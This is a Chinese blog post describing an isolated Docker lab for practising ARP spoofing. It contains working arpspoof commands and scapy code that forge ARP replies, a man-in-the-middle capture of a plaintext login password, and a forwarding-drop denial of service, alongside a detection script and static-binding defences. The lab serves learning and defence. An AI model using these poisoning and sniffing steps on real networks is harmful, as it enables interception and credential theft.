对内网的知识还是一片空白,用Docker建个靶场来丰富知识面,练习ARP欺骗

6805 字
34 分钟
对内网的知识还是一片空白,用Docker建个靶场来丰富知识面,练习ARP欺骗

ARP是什么#

ARP 在解决什么问题

一台主机要发包给同网段的另一台主机,IP 只是逻辑地址,真正塞进以太网帧头里的是 MAC 地址。所以内核手里必须有「IP → MAC」的对照表,这张表就是 ARP 缓存(ip neigh 看的就是它)。

ARP 的职责就一句话:已知 IP,问出 MAC。

它工作在二层,没有 IP 头,不经过路由,出不了本网段。这也决定了 ARP 欺骗的作用范围——只能骗同一个广播域里的机器。

ARP 报文固定 28 字节,套在以太网帧里,加上 14 字节帧头,抓包看到的就是 42 字节:

ARP报文#

┌──────────────── Ether 帧头(14 字节)────────────────┐
│ dst MAC (6) │ src MAC (6) │ 类型 0x0806 (2) │
├──────────────── ARP 报文(28 字节)──────────────────┤
│ 硬件类型 (2) │ 协议类型 (2) │ 硬件长度 (1) │ 协议长度 (1) │
│ 操作码 (2) │ 发送方 MAC (6) │ 发送方 IP (4) │
│ 目标 MAC (6) │ 目标 IP (4) │
└──────────────────────────────────────────────────────┘

各字段的实际取值:

  • 硬件类型 0x0001,以太网
  • 协议类型 0x0800,IPv4
  • 硬件长度 6(MAC 6 字节)、协议长度 4(IP 4 字节)
  • 操作码 1 = 请求(who-has),2 = 应答(is-at)
  • 发送方 MAC / IP:谁发的
  • 目标 MAC / IP:问谁的

关键点:ARP 报文里的「发送方 MAC」和以太网帧头里的「源 MAC」是两个独立字段,正常主机填成一样,攻击者可以填成不一样——这是后面很多花招的来源。

一次探测#

一次正常交互(实测)

把受害者的缓存清掉,然后 ping 网关,在受害者上抓包:

Terminal window
docker exec arp-victim ip neigh del 172.28.0.2 dev eth0
docker exec arp-victim tcpdump -l -e -n -c 4 arp &
docker exec arp-victim ping -c1 172.28.0.2

实测输出:

3e:50:33:43:99:0f > ff:ff:ff:ff:ff:ff, ARP, Request who-has 172.28.0.2 tell 172.28.0.3
fa:b3:c4:3c:fd:eb > 3e:50:33:43:99:0f, ARP, Reply 172.28.0.2 is-at fa:b3:c4:3c:fd:eb

逐字段读第一行:

  • 帧的目的 MAC 是 ff:ff:ff:ff:ff:ff(广播)——因为还不知道网关 MAC,只能全喊
  • who-has 172.28.0.2 是问题
  • tell 172.28.0.3 是「我知道自己的地址,回我就行」

第二行:

  • 帧的目的 MAC 是 3e:50:33:43:99:0f(单播)——现在知道问的人是谁了
  • is-at fa:b3:c4:3c:fd:eb 就是答案

请求是广播、应答是单播——这个差异后面会反复用到。它直接决定了「检测器为什么必须装在受害者上」。

四个设计缺陷#

ARP 是 1982 年的协议(RFC 826),那时是互相信任的学术网络,安全不是设计目标。它留下了四个洞:

  • 没有认证:报文里没有任何签名字段,谁发都算数。你说你是网关,没人会验证
  • 没有状态:主机收到一个 is-at 应答,不会检查「我刚刚问过吗」。不问也接受
  • 有缓存:接受之后会记一段时间,这段时间里所有流量都按这个错误映射走
  • 请求靠广播:广播域里每台机器都能看到谁在问什么,也都能抢答

第一条决定了「能不能骗」,第二条决定了「骗起来多容易」,第三条决定了「骗一次能管多久」。

三种欺骗形态#

单向:只骗受害者,让它以为网关的 MAC 是攻击机。

  • 受害者的出站流量先到攻击机
  • 回程流量直接从网关发给受害者(网关的缓存没被动过)
  • 结果:只能看到请求,看不到响应
  • 用途:偷 HTTP 明文凭据、Cookie、URL 参数——请求里全都有

双向:两个方向都骗。

  • 对受害者说「网关是我」
  • 对网关说「受害者是我」
  • 结果:所有包都先经过攻击机,完整中间人
  • 前提:攻击机必须开 ip_forward,否则就是断网

冒充网关骗全网段:对广播域里所有主机发「网关是我」,一次骗一片。原理一样,只是目标从单台变成整个网段(并发操作也变成一台台来)。


ARP 欺骗靶场#

本地 Docker 环境练 ARP 欺骗:从「为什么骗不动」开始,到完整中间人、抓明文密码、检测、防御。

缓存状态机 —— 为什么有时骗不动#

这是整个靶场里最容易卡住的点,值得单独讲。

Linux 的邻居条目(包括 ARP)是有限状态机:

(不存在)
│ 要发包,先发 who-has
▼
INCOMPLETE ──── 收到 is-at ────► REACHABLE
│
│ 一段时间没通信(约 30 秒)
▼
STALE ◄──── 攻击窗口
│
│ 真的要用它发包了
▼
DELAY ──5 秒──► PROBE ──► 重发 who-has

各状态的差别:

  • REACHABLE:最近确认过可达,内核认为这个映射是可信的
  • STALE:条目还能用,但「可能过期了」,下次发包前要重新确认
  • DELAY / PROBE:正在确认的过程中
  • PERMANENT:手动钉死的,永远不老化(防御用)

关键规则:内核收到一个「非请求的」ARP 应答时,如果条目正处在 REACHABLE,会倾向于忽略它。理由是——你最近才验证过,凭什么一个陌生包就能改?

只有条目落到 STALE(内核认为「这个信息可能旧了」),新的应答才会被认真对待。

所以真实的 ARP 攻击是这样的:

  1. 攻击机持续发伪造应答
  2. 前几十秒受害者不理它(REACHABLE)
  3. 条目老化成 STALE
  4. 这一刻收到的伪造应答被接受,缓存被改写
  5. 改写后又变 REACHABLE,攻击者继续发,维持住

这就是为什么 arpspoof 必须一直跑。不是刷屏,是在蹲那个窗口。

想立刻看到效果,手动把条目改成 STALE:

Terminal window
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud stale

ip neigh 最后一列就是状态,实验时养成习惯盯着它。

拓扑#

arpnet 172.28.0.0/24(同一个 bridge,二层互通)
attacker 172.28.0.4 ──┐
│
victim 172.28.0.3 ──┼── gateway 172.28.0.2
│ └─ 跑 server.py,扮演上游网站
  • victim 的默认路由指向 172.28.0.2,它访问网站时以为在跟网关说话
  • 被毒化后,victim 的发包先到 attacker,由攻击机转发(或丢掉)
  • 三个容器都带 NET_ADMIN + NET_RAW,攻击机额外开了 net.ipv4.ip_forward=1

ip_forward 到底管什么#

net.ipv4.ip_forward 控制内核要不要转发「目的地不是自己」的包。

  • = 0:包到了攻击机,发现目标 IP 不是自己,直接丢弃 → 受害者断网。这是断网型 DoS,也是很多人「打了一半网就没了」的原因
  • = 1:包照原样转发出去,链路通,攻击机只是中间站 → 中间人

容器里这个参数改不了(sysctl: permission denied),因为要在创建 netns 时才定,所以写进了 compose.yml 的 sysctls。

顺带一提,转发时内核会把 TTL 减 1。所以「TTL 异常」在某些检测场景里是一条线索。

起环境#

Terminal window
cd /Users/liyuhang/代码库/靶场/arp
./run.sh

脚本会打印三个容器的真实 MAC。下面所有命令都从容器里读 MAC,不要抄死值,重建容器后 MAC 会变。

停环境:docker compose down  重置:docker compose restart


实验 1:先看正常状态#

Terminal window
docker exec arp-victim ip route
docker exec arp-victim ping -c2 172.28.0.2
docker exec arp-victim ip neigh
docker exec arp-victim curl -s http://172.28.0.2/

返回

default via 172.28.0.2 dev eth0
172.28.0.0/24 dev eth0 proto kernel scope link src 172.28.0.3
PING 172.28.0.2 (172.28.0.2) 56(84) bytes of data.
64 bytes from 172.28.0.2: icmp_seq=1 ttl=64 time=0.147 ms
64 bytes from 172.28.0.2: icmp_seq=2 ttl=64 time=0.194 ms
--- 172.28.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1048ms
rtt min/avg/max/mdev = 0.147/0.170/0.194/0.023 ms
172.28.0.2 dev eth0 lladdr fa:b3:c4:3c:fd:eb DELAY
upstream is alive

这一步是基线。后面所有「变化」都要跟这里对比,否则你没法判断到底有没有骗成功。

实验 2:为什么 arpspoof 跑了却没反应#

先记下真网关 MAC:

Terminal window
GW_MAC=$(docker exec arp-gw cat /sys/class/net/eth0/address)
echo $GW_MAC

然后直接毒化:

Terminal window
docker exec -d arp-attacker arpspoof -i eth0 -t 172.28.0.3 172.28.0.2
sleep 4
docker exec arp-victim ip neigh show 172.28.0.2

大概率还是原来的 MAC,状态 REACHABLE。 arpspoof 明明在发包,怎么没效果?

原因:现代 Linux 内核收到「非请求的 ARP 应答」时,如果邻居条目正处在 REACHABLE,会倾向于忽略它——防止随便一个包就能改写缓存。只有条目老化成 STALE 之后,新信息才会被接受。

这就解释了为什么真实的 ARP 攻击要一直发,不是发一次就完事:它在等条目老化的那个窗口。开着 arpspoof 等久一点(十几秒到几十秒,取决于内核参数和有没有别的流量),条目自己会从 REACHABLE 转成 STALE,那一刻毒化就生效了。

想立刻复现,把条目手动改成 STALE 就行:

Terminal window
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud stale
docker exec arp-victim ip neigh show 172.28.0.2
sleep 5
docker exec arp-victim ip neigh show 172.28.0.2

ip neigh 最后一列的含义值得记一下:

  • REACHABLE 最近确认过可达,短期内不会再去问
  • STALE 条目还有效,但下次发包前要先重新确认(这就是攻击窗口)
  • DELAY / PROBE 正在确认中
  • PERMANENT 手动钉死的,永远不老化(防御用)

实验 3:单向毒化只能看到上行#

只骗受害者(-t 受害者 要冒充的IP),网关那一侧不动:

Terminal window
docker exec arp-attacker pkill -f arpspoof 2>/dev/null
# 先把网关侧的残留毒化清掉,否则上一轮双向毒化的效果还在,下行照样经过攻击机
docker exec arp-gw ip neigh del 172.28.0.3 dev eth0 2>/dev/null
docker exec arp-gw ping -c1 172.28.0.3 >/dev/null 2>&1
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud stale
docker exec -d arp-attacker sh -c "arpspoof -i eth0 -t 172.28.0.3 172.28.0.2 > /tmp/a.log 2>&1"
sleep 5
docker exec arp-victim ip neigh show 172.28.0.2 # 已指向攻击机

现在攻击机抓包,然后让受害者登录:

Terminal window
docker exec -d arp-attacker sh -c "tcpdump -l -i eth0 -s0 -A 'host 172.28.0.3 and tcp port 80' > /tmp/up.log 2>&1"
sleep 2
docker exec arp-victim curl -s -X POST -d "user=admin&pass=OneWay" http://172.28.0.2/login
sleep 2
docker exec arp-attacker grep -a "OneWay" /tmp/up.log | head -3

能看到密码——因为请求包被引到了攻击机。但响应看不到,因为网关回包时直接按自己的 ARP 缓存发给受害者,不经过攻击机。

所以单向毒化适合「我只想偷看请求」,比如抓 HTTP 明文凭据、抓 Cookie。要看完整会话就得双向。

实验 4:双向毒化 + 转发 = 完整中间人#

用自带的 scapy 脚本,两个方向都骗,退出时自动恢复:

Terminal window
docker exec arp-attacker pkill -f arpspoof 2>/dev/null
docker exec -d arp-attacker sh -c "python3 /lab/arpspoof.py > /tmp/spoof.log 2>&1"
sleep 5
docker exec arp-attacker cat /tmp/spoof.log
docker exec arp-victim ip neigh show 172.28.0.2
docker exec arp-gw ip neigh show 172.28.0.3 # 网关这边也被骗了

两边都指向攻击机,这才叫双向。现在攻击机是真正的中间人:

Terminal window
docker exec -d arp-attacker sh -c "tcpdump -l -i eth0 -s0 -A 'host 172.28.0.3 and tcp port 80' > /tmp/mitm.log 2>&1"
sleep 2
docker exec arp-victim curl -s -X POST -d "user=admin&pass=Sup3rS3cret!" http://172.28.0.2/login
sleep 2
echo "--- 攻击机看到的 ---"
docker exec arp-attacker grep -a -E "POST|Sup3rS3cret" /tmp/mitm.log | head -4
echo "--- 网关那边也收到了(说明包被转发,不是断网) ---"
docker logs arp-gw 2>&1 | tail -3

两个输出都要有:攻击机拿到明文密码,网关也正常收到请求。只有两边都有,才证明是中间人而不是断网。

关掉转发就是断网 DoS#

Terminal window
docker exec arp-attacker iptables -A FORWARD -j DROP # 模拟不转发
docker exec arp-victim curl -s -m 5 -o /dev/null -w "状态: %{http_code}\n" http://172.28.0.2/
# 000 = 超时,流量被引到攻击机然后被丢掉
docker exec arp-attacker iptables -D FORWARD -j DROP

实验 5:检测#

在受害者上跑检测脚本:

Terminal window
docker exec arp-attacker pkill -f arpspoof 2>/dev/null; sleep 1
docker exec arp-victim ip neigh del 172.28.0.2 dev eth0 2>/dev/null
docker exec arp-victim ping -c1 172.28.0.2 >/dev/null 2>&1
docker exec -d arp-victim sh -c "python3 /lab/detect_arp_spoof.py > /tmp/detect.log 2>&1"
sleep 3
docker exec arp-victim cat /tmp/detect.log # 打印基线
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud stale
docker exec -d arp-attacker sh -c "python3 /lab/arpspoof.py > /tmp/spoof.log 2>&1"
sleep 5
docker exec arp-victim cat /tmp/detect.log # 告警

输出类似:

[!] 01:17:30 ARP 欺骗告警:172.28.0.2 声称 MAC 是 b2:c9:9e:24:66:9c,但基线是 22:0e:42:13:ca:93
来源帧:src MAC=b2:c9:9e:24:66:9c -> 如果你没换网卡,这就是攻击者

为什么检测要放在受害者上:攻击机发的是单播 ARP 应答(Ether.dst 直接写受害者 MAC),同网段的第三台机器在真实交换机上收不到这些帧。所以传统的旁路 arpwatch 在这种场景里是瞎的,只有被骗的主机自己看得见谎言。

这套逻辑的局限也得知道:网关真换了网卡、做了 VRRP 主备切换,同样会告警;攻击者把 MAC 伪造成和真网关一模一样,检测不到。

实验 6:静态 ARP 绑定(防御)#

钉死网关的 MAC:

Terminal window
GW_MAC=$(docker exec arp-gw cat /sys/class/net/eth0/address)
docker exec arp-victim ip neigh replace 172.28.0.2 dev eth0 lladdr $GW_MAC nud permanent
docker exec arp-victim ip neigh show 172.28.0.2 # 末尾 PERMANENT

再毒化,看还能不能骗动:

Terminal window
docker exec -d arp-attacker sh -c "python3 /lab/arpspoof.py > /tmp/spoof.log 2>&1"
sleep 6
docker exec arp-victim ip neigh show 172.28.0.2 # 还是真 MAC,PERMANENT

别用「抓包能不能看到」判断防御是否有效#

这一步很容易踩坑:静态绑定之后,攻击机可能还是能抓到一些包。原因通常不是防御失效,而是网关那一侧的 ARP 缓存还残留着攻击机 MAC(上一轮双向毒化的结果),回包依然先到攻击机。

更硬的判据是把攻击机的转发掐掉,看受害者还能不能通:

Terminal window
# 双侧都钉死
docker exec arp-gw ip neigh replace 172.28.0.3 dev eth0 lladdr $(docker exec arp-victim cat /sys/class/net/eth0/address) nud permanent
docker exec arp-victim ip neigh replace 172.28.0.2 dev eth0 lladdr $GW_MAC nud permanent
docker exec arp-attacker iptables -A FORWARD -j DROP
docker exec arp-victim curl -s -m 5 -o /dev/null -w "状态: %{http_code}\n" http://172.28.0.2/
# 200 = 流量压根没经过攻击机,防御有效
docker exec arp-attacker iptables -D FORWARD -j DROP

对比实验 4 的同一个操作(毒化状态下 DROP → 000),结论就明确了。

实验 7:现成工具#

dsniff 的 arpspoof,一条命令,单向:

Terminal window
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud stale
docker exec -d arp-attacker sh -c "arpspoof -i eth0 -t 172.28.0.3 172.28.0.2 > /tmp/dsniff.log 2>&1"
sleep 4
docker exec arp-attacker head -2 /tmp/dsniff.log

输出直接就是帧结构,可以对着 arpspoof.py 里的注释看:

9a:d1:97:78:48:6a da:c6:fc:38:b5:00 0806 42: arp reply 172.28.0.2 is-at 9a:d1:97:78:48:6a
└─ 源 MAC ────────┘ └─ 目的 MAC ──────┘ └类型┘ └长度┘ 这就是 op=2 的 is-at

双向要开两个进程(两个方向各一个):

Terminal window
docker exec -d arp-attacker arpspoof -i eth0 -t 172.28.0.3 172.28.0.2 # 骗受害者
docker exec -d arp-attacker arpspoof -i eth0 -t 172.28.0.2 172.28.0.3 # 骗网关

dsniff 需要从 /proc/net/arp 查目标 MAC,如果攻击机的 ARP 表里没有目标条目,会发出目的 MAC 畸形的帧,受害者收不到、毒化静默失败。先 ping 一下目标就解决了。

想上更完整的框架可以自己装 bettercap(自带 net.probe / arp.spoof / 流量嗅探 / 面板),思路和上面完全一样,只是封装好了。


踩坑记录#

  • sysctl -w net.ipv4.ip_forward=1 在容器里 permission denied。这个参数必须在创建 netns 时定好,所以写进了 compose 的 sysctls。容器起来后再改是不行的。
  • 恢复必须双向。脚本退出时只恢复受害者、不恢复网关,网关会继续把回包发给攻击机,症状是「攻击停了但受害者还是不通」。
  • ip neigh replace 少写 dev eth0 会报 “Device and destination are required arguments”。
  • 稳定 REACHABLE 条目毒化不动,先 nud stale 或等它老化,见实验 2。
  • tcpdump 输出重定向到文件时是块缓冲,sleep 2 后去 grep 可能什么也搜不到,文件看着是空的。加 -l(行缓冲)就立刻能搜到。上面所有命令都带了 -l。
  • 「抓到包」不等于「攻击成功」。判断成功的顺序是:先看两侧 ARP 表变了没有,再看流量是否真的经过攻击机(用 iptables -A FORWARD -j DROP 做反证)。只看 tcpdump 有输出很容易误判。
  • 容器重建后 MAC 全变,任何写死 MAC 的命令都会失效。

真实世界的防御手段#

  • 静态 ARP 绑定:上面做的。小网络可控,大网络维护成本高。
  • 动态 ARP 检测(DAI):交换机上配合 DHCP snooping 建立「IP-MAC-端口」绑定表,非法 ARP 直接丢弃。企业网的标准做法,需要可网管交换机。
  • 端口隔离 / PVLAN:让同网段主机之间根本不通,ARP 欺骗拿不到目标。
  • 加密流量:HTTPS / SSH 之后,就算被中间人也只能看到密文(但攻击者仍能做 SSL 剥离、DNS 劫持,别以为加密就万事大吉)。
  • 终端侧检测:arpwatch、EDR 的 ARP 异常告警,逻辑和 detect_arp_spoof.py 一样。

命令速查#

Terminal window
# 看 ARP 表(带状态)
docker exec arp-victim ip neigh
# 清掉某条缓存,让下次通信重新解析
docker exec arp-victim ip neigh del 172.28.0.2 dev eth0
# 手动把条目改成 STALE(制造攻击窗口)
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud stale
# 钉死,永不老化
docker exec arp-victim ip neigh replace 172.28.0.2 dev eth0 lladdr <MAC> nud permanent
# 抓包看明文
docker exec arp-attacker tcpdump -l -i eth0 -s0 -A 'host 172.28.0.3 and tcp port 80'
# 看某个容器的 MAC
docker exec arp-gw cat /sys/class/net/eth0/address

脚本讲解:arpspoof.py#

整体结构#

main()
└─ ArpSpoofer(...).run()
├─ resolve() 问出两个真实 MAC(一次性)
├─ 循环 poison_once() 每 2 秒一轮,双向各发一个伪造应答
└─ KeyboardInterrupt → restore() 把正确映射发回去

三个函数各管一件事,poison_once 和 restore 用的是同一个 make_reply,区别只是「声称的 MAC 是谁」。

arp_resolve():怎么问出真实 MAC#

ans, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
iface=iface, timeout=timeout, verbose=False,
)
for _, rcv in ans:
return rcv[ARP].hwsrc

拆开看:

  • Ether(dst="ff:ff:ff:ff:ff:ff") —— 目的 MAC 全 f,就是广播
  • / ARP(pdst=ip) —— 斜杠是 scapy 的「叠加」操作符,把 ARP 报文塞进以太网帧的载荷里
  • ARP(pdst=ip) 只填了目标 IP,op 默认是 1(请求),其余字段 scapy 自动补
  • srp = send and receive at layer 2(send receive packet,二层版)。它发包、收包、把「发了什么」和「收到了什么」配对返回
  • 返回值是 (answered, unanswered) 两个列表,for _, rcv in ans 只关心收到的
  • rcv[ARP].hwsrc 取应答里的发送方 MAC,这就是答案

为什么不用 scapy 自带的 getmacbyip():那个函数的参数名在不同版本里改过(2.8 里就没有 iface 参数,传了直接 TypeError)。自己写一遍十几行,稳定,而且过程全透明。

make_reply():伪造应答的核心#

return Ether(dst=eth_dst, src=eth_src) / ARP(
op=2, hwsrc=eth_src, psrc=claimed_ip,
hwdst=target_mac, pdst=target_ip,
)

五个参数,逐个对应到报文:

  • eth_dst → 帧头目的 MAC,写具体 MAC 就是单播,只送到这一台
  • eth_src → 帧头源 MAC,填攻击机自己的
  • op=2 → 这是应答(is-at),不是请求。受害者不会去核对「我问过吗」
  • hwsrc=eth_src → 报文里的发送方 MAC 必须等于帧头的源 MAC。填不一致等于自己举报自己,有些主机/IDS 会直接告警
  • psrc=claimed_ip → 这是整个骗局的核心:声称自己是那个 IP
  • hwdst / pdst → 收件人的 MAC 和 IP

为什么用单播不用广播:广播会让整个网段的所有机器都更新缓存(动静大、容易被发现),而单播只有目标主机收得到——顺带让同网段的第三方监控完全看不到这次攻击。

poison_once():为什么要发两次#

# 方向一:骗受害者
make_reply(eth_dst=victim_mac, eth_src=my_mac,
claimed_ip=gateway_ip, target_ip=victim_ip, target_mac=victim_mac)
# 方向二:骗网关
make_reply(eth_dst=gateway_mac, eth_src=my_mac,
claimed_ip=victim_ip, target_ip=gateway_ip, target_mac=gateway_mac)

两次调用的参数完全对称,只有「骗谁」和「冒充谁」互换:

  • 第一次:发给受害者,声称自己是网关 IP
  • 第二次:发给网关,声称自己是受害者 IP

只做第一次,就是单向——回程流量不经过攻击机。

restore():为什么必须写#

for _ in range(5):
sendp(make_reply(eth_dst=victim_mac, eth_src=gateway_mac,
claimed_ip=gateway_ip, ...))
sendp(make_reply(eth_dst=gateway_mac, eth_src=victim_mac,
claimed_ip=victim_ip, ...))
time.sleep(0.3)

和毒化代码长得几乎一样,唯一区别:eth_src 换成了对方的真实 MAC,也就是「用真实身份发一个正确的应答」。

不写这段的后果:攻击机一退出,受害者缓存里网关 MAC 还是攻击机的,所有流量发向一个已经不在的地址,直接断网,直到条目老化(最长几分钟)。

必须双向恢复,只恢复一边会导致「攻击停了,受害者还是不通」——这个坑在 README 踩坑记录里专门写了。

连发 5 次是因为 UDP 式的尽力而为,发一次可能丢。

run():循环和间隔#

while True:
self.poison_once()
round_no += 1
if round_no % 5 == 1:
print(...)
time.sleep(self.interval)

interval 默认 2 秒。这个值的取舍:

  • 太慢(>10 秒):受害者条目老化后可能自己重新问到正确 MAC,欺骗断了
  • 太快(<0.1 秒):大量无用流量,容易被流量分析发现

2 秒是常见默认值。round_no % 5 == 1 只是让日志别刷屏。

except KeyboardInterrupt 捕获 Ctrl-C,转去 restore()——这就是「优雅退出」在这个场景的实际意义。


脚本拆解:detect_arp_spoof.py#

为什么检测器必须装在受害者上#

回到第三节的实测:ARP 应答是单播的。

攻击机发的伪造应答,帧头目的 MAC 直接写成受害者的 MAC。在真实交换机上,这个帧只会被转发到受害者那个端口,同网段的第三台机器根本收不到。

所以传统的「旁路部署 arpwatch 抓全网的 ARP」在这个场景里是瞎的——它只能看到广播的请求,看不到单播的谎言。只有受害者自己的网卡能看到骗它的那个包。

(Docker 的 bridge 行为和真实交换机不完全一样,但结论不变:别指望第三方机器帮你检测。)

build_baseline():先拿到「真相」#

ans, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=watch_ip),
iface=iface, timeout=2, verbose=False,
)
for _, rcv in ans:
mac = rcv[ARP].hwsrc
baseline[watch_ip] = mac
return

逐行看:

  • Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=watch_ip) —— 和 arpspoof.py 里 arp_resolve() 做的是同一件事:造一个广播的 who-has。这里故意复制逻辑而不是 import,因为两个脚本要能各自独立拷走使用
  • srp 返回两个列表 (answered, unanswered),我们只用 ans
  • for _, rcv in ans: return —— 只取第一个应答就返回。局域网里同一个 IP 只该有一台机器应答,先到的就是它。如果此刻有攻击者在抢答,说明已经在被攻击了,那基线本来也不该信
  • baseline[watch_ip] = mac —— 写进模块顶层的全局字典

失败处理:

sys.exit(f"[!] 建立基线失败:{watch_ip} 没有回应 ARP")

sys.exit(字符串) 会把字符串打到 stderr 并以非零状态退出。设计选择是:宁可不跑,也别带着空基线跑。

因为基线为空时,on_packet 里那句 if claimed_ip not in baseline: return 永远成立,每个包都被丢掉,检测器看起来在运行,实际什么也没做。这种静默失效比直接报错危险得多。

为什么要用全局字典而不是返回值:on_packet 是 sniff 的回调,scapy 规定它只接受一个 pkt 参数,没地方塞额外参数。全局变量是这里最省事的做法,代价是可测试性差、一个进程只能跑一个实例。

on_packet():三层过滤,顺序不能乱#

第一层,只放行应答:

if ARP not in pkt or pkt[ARP].op != 2:
return

两个判断用 or 连起来,顺序有讲究:

  • ARP not in pkt 必须在前,否则下一句 pkt[ARP] 会抛 KeyError。虽然 sniff 已经用 filter="arp" 过滤过,理论上不会出现非 ARP 包,但防御性写法在这里成本几乎为零
  • op != 2 —— 只处理 is-at。为什么不管请求(op=1):正常主机的 who-has 里也带着自己的 MAC,但内核不会用请求去改缓存,处理它只会凭空制造误报

第二层,取出「声称的身份」:

claimed_ip = pkt[ARP].psrc
claimed_mac = pkt[ARP].hwsrc

注意变量名里的 claimed(声称的)。这两个值是「对方说的」,不是「事实」。整个 ARP 欺骗就在这两个字段上撒谎,检测也就在这两个字段上找矛盾。

第三层,只监控关心的主机:

if claimed_ip not in baseline:
return

网段里其他机器的 ARP 应答怎么变都不归我们管。想让检测器盯多台主机,往 baseline 里多塞几条就行,代码一行不用改。

比对:

known_mac = baseline[claimed_ip]
if claimed_mac.lower() == known_mac.lower():
return

lower() 不能省。scapy 不同版本、不同系统返回的 MAC 大小写不一致,直接 == 会误报——这种坑不踩一次想不到。

告警:

print(f"[!] {stamp()} ARP 欺骗告警:{claimed_ip} 声称 MAC 是 {claimed_mac},"
f"但基线是 {known_mac}", flush=True)
print(f" 来源帧:src MAC={pkt[Ether].src} -> 如果你没换网卡,这就是攻击者", flush=True)

两个细节值得记:

  • flush=True:print 默认带缓冲,输出重定向到文件时(实验 5 里的 > /tmp/detect.log)不 flush 的话日志可能迟迟不落盘,cat 出来是空的。和 tcpdump 要加 -l 是同一类问题
  • 第二行打印的是 pkt[Ether].src,不是 claimed_mac。这两个值含义不同:hwsrc 是「报文里声称的 MAC」,Ether.src 是「帧实际从哪块网卡发出」。正常情况下两者相同;水平高一点的攻击者可以让 hwsrc 和 Ether.src 对不上(伪造声称的 MAC,但帧头仍暴露自己)。抓帧头更接近「谁真的发了这个包」

main():sniff 的四个参数#

sniff(iface=args.iface, filter="arp", prn=on_packet, store=False)
  • iface="eth0":在哪块网卡上抓
  • filter="arp":BPF 过滤器,在内核态就把非 ARP 的包扔掉,根本不会送到 Python 层。这比在 on_packet 里判断 if ARP not in pkt 省得多——后者意味着每个包都要先从内核拷贝到用户态。用 filter= 需要 libpcap,镜像里装了 tcpdump 所以有
  • prn=on_packet:每来一个包调用一次。注意如果 prn 的函数返回了值,scapy 会把返回值当包发出去;on_packet 里全是 return 和 print,没有返回值,安全
  • store=False:不把包存进列表。默认 store=True 会把每个收到的包追加进内存,跑一天能吃掉几百 MB。检测器只需要「看一眼」,不需要「留底」

sniff 是阻塞的,Ctrl-C 直接退出。这里不需要 try/except KeyboardInterrupt——检测器退出时没有任何状态需要恢复(对比 arpspoof.py 必须 restore(),否则受害者断网)。

这套逻辑的盲区#

  • 合法变更会误报:网关真换了网卡、或做了 VRRP 主备切换,MAC 确实会变
  • 基线建立时机:如果基线是在被毒化之后才建的,基线本身就是错的,之后所有正确映射反而会被当成异常。启动检测器前先确认网络是干净的
  • 伪造得一模一样就检测不到:攻击者把 MAC 伪造成和真网关完全相同,这套逻辑抓不到(但那样它也得真的接管那个 MAC 才有用)
  • 看不到单向攻击:如果攻击者只骗网关、不骗受害者,受害者侧什么异常也看不到

所以企业里的做法不是靠这个脚本,而是交换机上的 DAI(动态 ARP 检测):配合 DHCP snooping 建立「IP-MAC-端口」绑定表,端口上收到的 ARP 如果和表对不上,直接在交换机层面丢弃。攻击包连受害者都到不了。

想拿它当工具用,还得补什么#

  • 持久化:告警写文件或发 syslog,别只打在终端
  • 白名单:合法 MAC 变更要有例外机制,否则运维会被误报淹没
  • 多目标:往 baseline 里加条目,顺手把 --watch 改成 nargs="+"
  • 定期重验:基线放久了会过期,隔一段时间重新确认一次

arpwatch 走的是完全一样的思路(记录 IP-MAC 对,变化就告警),区别在于它是通用守护进程、靠 syslog 和邮件通知;自己写的好处是能精确控制监控对象,也能把这些细节摊开看。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录